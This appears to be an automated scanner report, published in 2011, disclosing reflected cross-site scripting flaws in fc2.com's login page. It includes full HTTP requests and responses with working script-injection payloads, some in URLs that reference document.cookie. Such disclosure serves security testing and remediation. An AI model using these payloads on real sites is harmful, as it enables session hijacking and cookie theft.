XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, fc2.com

Report generated by XSS.CX at Mon Aug 15 10:45:59 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

XSS in fc2.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. http://fc2.com/en/login.php [name of an arbitrarily supplied request parameter]

1.2. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js [REST URL parameter 3]

1.3. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js [REST URL parameter 3]

1.4. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js [REST URL parameter 4]

1.5. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js [name of an arbitrarily supplied request parameter]

1.6. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js [REST URL parameter 3]

1.7. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js [REST URL parameter 3]

1.8. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js [REST URL parameter 4]

1.9. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js [name of an arbitrarily supplied request parameter]

2. Password field with autocomplete enabled

3. Cross-domain script include

3.1. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js

3.2. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js



1. Cross-site scripting (reflected)  next
There are 9 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://fc2.com/en/login.php [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://fc2.com
Path:   /en/login.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff7d4"><script>alert(1)</script>0b77840055 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/login.php/ff7d4"><script>alert(1)</script>0b77840055 HTTP/1.1
Host: fc2.com
Proxy-Connection: keep-alive
Referer: http://id.fc2.com/?done=id&switch_language=en
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: fc2_analyzer_2=1-4266462569-1313426573-1313426573-2-2-1313426573; FC2ANASESSION2=99491; __utma=168497334.1677713354.1313426576.1313426576.1313426576.1; __utmb=168497334.1.10.1313426576; __utmc=168497334; __utmz=168497334.1313426576.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fgcv=1%3BjzlTKJX5oYhQqkHlFygzcyrfynSixTIW8Ladq1INiD%2BQK2as

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 16:42:44 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1
X-Powered-By: PHP/4.4.9
Content-Length: 7666
Connection: close
Content-Type: text/html
Content-Language: en

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-
...[SNIP]...
<option value="/en/login.php/ff7d4"><script>alert(1)</script>0b77840055">
...[SNIP]...

1.2. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://fc2.com
Path:   /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7802"><script>alert(1)</script>16e74474a5 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/login.php/f7802"><script>alert(1)</script>16e74474a5/loginform.js HTTP/1.1
Host: fc2.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E0b77840055

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 16:43:51 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1
X-Powered-By: PHP/4.4.9
Content-Length: 7629
Connection: close
Content-Type: text/html
Content-Language: en

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-
...[SNIP]...
<option value="/en/login.php/f7802"><script>alert(1)</script>16e74474a5/loginform.js">
...[SNIP]...

1.3. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://fc2.com
Path:   /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload e5b1b%3balert(1)//06586439ac6 was submitted in the REST URL parameter 3. This input was echoed as e5b1b;alert(1)//06586439ac6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3Ce5b1b%3balert(1)//06586439ac6/loginform.js HTTP/1.1
Host: fc2.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E0b77840055

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 16:43:51 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1
X-Powered-By: PHP/4.4.9
Content-Length: 7652
Connection: close
Content-Type: text/html
Content-Language: en

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-
...[SNIP]...
<e5b1b;alert(1)//06586439ac6/loginform.js">
...[SNIP]...

1.4. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://fc2.com
Path:   /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 6a109%3balert(1)//0409a5a9ddb was submitted in the REST URL parameter 4. This input was echoed as 6a109;alert(1)//0409a5a9ddb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js6a109%3balert(1)//0409a5a9ddb HTTP/1.1
Host: fc2.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E0b77840055

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 16:43:51 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1
X-Powered-By: PHP/4.4.9
Content-Length: 7642
Connection: close
Content-Type: text/html
Content-Language: en

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-
...[SNIP]...
</loginform.js6a109;alert(1)//0409a5a9ddb">
...[SNIP]...

1.5. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://fc2.com
Path:   /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload b3624(a)bea811f3018 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js?b3624(a)bea811f3018=1 HTTP/1.1
Host: fc2.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E0b77840055

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 16:43:50 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1
X-Powered-By: PHP/4.4.9
Content-Length: 7845
Connection: close
Content-Type: text/html
Content-Language: en

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-
...[SNIP]...
<option value="/loginform.js?b3624(a)bea811f3018=1">
...[SNIP]...

1.6. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://fc2.com
Path:   /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10560"><script>alert(1)</script>d51bb5eddd2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/login.php/10560"><script>alert(1)</script>d51bb5eddd2/loginform.js HTTP/1.1
Host: fc2.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E0b77840055

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 16:44:10 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1
X-Powered-By: PHP/4.4.9
Content-Length: 7630
Connection: close
Content-Type: text/html
Content-Language: en

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-
...[SNIP]...
<option value="/en/login.php/10560"><script>alert(1)</script>d51bb5eddd2/loginform.js">
...[SNIP]...

1.7. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://fc2.com
Path:   /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload df5a1%3balert(1)//95918fed0f4 was submitted in the REST URL parameter 3. This input was echoed as df5a1;alert(1)//95918fed0f4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3Cdf5a1%3balert(1)//95918fed0f4/loginform.js HTTP/1.1
Host: fc2.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E0b77840055

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 16:44:10 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1
X-Powered-By: PHP/4.4.9
Content-Length: 7654
Connection: close
Content-Type: text/html
Content-Language: en

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-
...[SNIP]...
<df5a1;alert(1)//95918fed0f4/loginform.js">
...[SNIP]...

1.8. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://fc2.com
Path:   /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload f7555%3balert(1)//9c5970f9b80 was submitted in the REST URL parameter 4. This input was echoed as f7555;alert(1)//9c5970f9b80 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.jsf7555%3balert(1)//9c5970f9b80 HTTP/1.1
Host: fc2.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E0b77840055

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 16:44:11 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1
X-Powered-By: PHP/4.4.9
Content-Length: 7644
Connection: close
Content-Type: text/html
Content-Language: en

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-
...[SNIP]...
</loginform.jsf7555;alert(1)//9c5970f9b80">
...[SNIP]...

1.9. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://fc2.com
Path:   /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 123b8(a)44522e6bfa4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js?123b8(a)44522e6bfa4=1 HTTP/1.1
Host: fc2.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E0b77840055

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 16:44:10 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1
X-Powered-By: PHP/4.4.9
Content-Length: 7847
Connection: close
Content-Type: text/html
Content-Language: en

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-
...[SNIP]...
<option value="/loginform.js?123b8(a)44522e6bfa4=1">
...[SNIP]...

2. Password field with autocomplete enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://fc2.com
Path:   /en/login.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /en/login.php HTTP/1.1
Host: fc2.com
Proxy-Connection: keep-alive
Referer: http://id.fc2.com/?done=id&switch_language=en
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: fc2_analyzer_2=1-4266462569-1313426573-1313426573-2-2-1313426573; FC2ANASESSION2=99491; __utma=168497334.1677713354.1313426576.1313426576.1313426576.1; __utmb=168497334.1.10.1313426576; __utmc=168497334; __utmz=168497334.1313426576.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fgcv=1%3BjzlTKJX5oYhQqkHlFygzcyrfynSixTIW8Ladq1INiD%2BQK2as

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 16:42:39 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1
X-Powered-By: PHP/4.4.9
Set-Cookie: language=en; expires=Tue, 16 Aug 2011 16:42:39 GMT; path=/; domain=fc2.com
Set-Cookie: language=en; expires=Tue, 16 Aug 2011 16:42:39 GMT; path=/; domain=fc2.com
Connection: close
Content-Type: text/html
Content-Language: en
Content-Length: 9916

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<me
...[SNIP]...
<div id="login-content">
       
               <form name="form_login" method="post" action="https://secure.id.fc2.com/index.php?mode=login&switch_language=en" onsubmit="return login_form_check()">
           <ul>
...[SNIP]...
<li><input name="pass" type="password" id="pass" class="input_fc2id_login" /></li>
...[SNIP]...

3. Cross-domain script include  previous
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


3.1. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://fc2.com
Path:   /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/loginform.js HTTP/1.1
Host: fc2.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E0b77840055

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 16:43:49 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1
X-Powered-By: PHP/4.4.9
Content-Length: 7625
Connection: close
Content-Type: text/html
Content-Language: en

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

</script>
...[SNIP]...

3.2. http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://fc2.com
Path:   /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/loginform.js HTTP/1.1
Host: fc2.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://fc2.com/en/login.php/ff7d4%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E0b77840055

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 16:44:09 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.6.1
X-Powered-By: PHP/4.4.9
Content-Length: 7627
Connection: close
Content-Type: text/html
Content-Language: en

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-Transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">

</script>
...[SNIP]...

Report generated by XSS.CX at Mon Aug 15 10:45:59 GMT-06:00 2011.